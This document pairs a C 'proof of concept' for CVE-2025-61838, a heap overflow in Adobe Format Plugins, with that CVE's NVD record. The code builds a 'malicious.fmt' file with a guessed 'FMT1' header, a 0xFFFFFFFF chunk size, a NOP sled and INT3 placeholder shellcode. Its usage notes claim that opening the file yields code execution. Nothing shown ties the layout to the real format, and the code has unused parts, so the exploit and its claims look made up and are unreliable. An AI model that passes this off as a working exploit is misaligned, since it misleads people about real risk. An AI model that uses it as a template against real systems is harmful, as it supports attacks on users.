CVE-2025-61838

// CVE-2025-61838 PoC - Adobe Format Plugins Heap Buffer Overflow // This PoC demonstrates the vulnerability in Format Plugins <= 1.1.1 // Author: Security Researcher // Note: This is a conceptual proof of concept for educational purposes only #include <stdio.h> #include <stdlib.h> #include <string.h> // Malicious file header structure typedef struct { char magic[4]; // File magic number uint32_t size; // Chunk size (crafted to overflow) uint32_t type; // Chunk type char* payload; // Malicious payload } malicious_chunk_t; // Generate malicious Format Plugin file unsigned char* generate_malicious_file(unsigned int overflow_size) { // Allocate buffer for malicious file unsigned char* buffer = (unsigned char*)malloc(1024 * 1024); // 1MB buffer memset(buffer, 0x41, 1024 * 1024); // Fill with 'A' characters // Set file header buffer[0] = 0x46; // 'F' for Format buffer[1] = 0x4D; // 'M' buffer[2] = 0x54; // 'T' buffer[3] = 0x31; // '1' // Craft oversized chunk size to trigger heap overflow uint32_t* chunk_size = (uint32_t*)&buffer[4]; *chunk_size = 0xFFFFFFFF; // Maximum uint32 to overflow heap // Add NOP sled and shellcode placeholder unsigned char nop_sled[] = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 }; // Shellcode for code execution (placeholder - platform specific) unsigned char shellcode[] = { 0xCC, 0xCC, 0xCC, 0xCC // INT3 breakpoints for testing }; // Copy NOP sled and shellcode after header memcpy(&buffer[16], nop_sled, sizeof(nop_sled)); memcpy(&buffer[16 + sizeof(nop_sled)], shellcode, sizeof(shellcode)); return buffer; } int main(int argc, char* argv[]) { printf("CVE-2025-61838 PoC Generator\n"); printf("Adobe Format Plugins Heap Buffer Overflow\n\n"); // Generate malicious file unsigned char* malicious_file = generate_malicious_file(0xFFFFFFFF); // Save to file FILE* fp = fopen("malicious.fmt", "wb"); if (fp != NULL) { fwrite(malicious_file, 1, 1024 * 1024, fp); fclose(fp); printf("[+] Malicious file generated: malicious.fmt\n"); printf("[+] File size: 1MB\n"); printf("[+] Overflow size: 0xFFFFFFFF\n"); printf("[+] Target: Adobe Format Plugins <= 1.1.1\n"); } else { printf("[-] Error: Could not create malicious file\n"); } free(malicious_file); return 0; } /* Usage: 1. Compile: gcc -o poc poc.c 2. Run: ./poc 3. Open malicious.fmt with Adobe Format Plugins <= 1.1.1 4. Triggers heap buffer overflow for code execution Disclaimer: This code is for educational and research purposes only. Always obtain proper authorization before testing security vulnerabilities. */

{"cve": {"id": "CVE-2025-61838", "sourceIdentifier": "[email protected]", "published": "2025-11-11T19:15:35.450", "lastModified": "2025-11-13T15:19:40.950", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Format Plugins versions 1.1.1 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:format_plugins:-:*:*:*:*:*:*:*", "matchCriteriaId": "9FE89744-A347-4449-8733-D54CA0E25723"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/formatplugins/apsb25-114.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}